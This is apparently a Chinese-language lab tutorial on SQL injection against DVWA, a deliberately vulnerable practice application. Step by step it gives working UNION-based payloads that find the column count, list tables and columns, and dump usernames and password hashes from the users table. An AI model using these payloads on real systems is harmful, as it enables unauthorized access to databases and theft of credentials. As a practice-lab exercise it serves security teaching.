SQL注入
步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
1.判断是否存在注入,注入是字符型还是数字型
输入:
1
//查询成功:
输入: 1' and '1'='2 //查询失败,返回结果为空:
输入: 1' or '1'='1
// 查询成功:
返回多个结果,说明存在字符型注入 ;
2.猜解SQL查询语句中的字段数
输入: 1' or 1=1 order by 1# //查询成功:
输入 : 1' or 1=1 order by 2# // 查询成功:
输入 1' or 1=1 order by 3# // 查询失败:
说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
这里也可以通过输入union select 1,2,3…来猜解字段数)
输入:
1' union select 1#
输入:1' union select 1,2#
3.确定回显的字段的位置
输入: 1′ union select 1,10# // 查询成功:
说明回显位为 ‘2’ ;
4.获取当前数据库
输入:
1′ union select 1,database() #
// 查询成功
说明当前的数据库为dvwa ;
5.获取数据库中的表
输入: 1' or 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()# // 查询当前数据库dvwa 中的表
说明数据库dvwa中一共有两个表 guestbook
与 users
;
6.获取表中的字段名
输入: 1' or 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# // 查询成功:
说明users表中有8个字段,分别是user_id
first_name
last_name
user
password
avatar
last_login
failed_login;
7.下载数据
输入
:
1' or 1=2 union select 1,group_concat(user_id,';',user,';',password) from users# // 查询成功 group_concat( 括号中为表中字段名 ) from 表 ;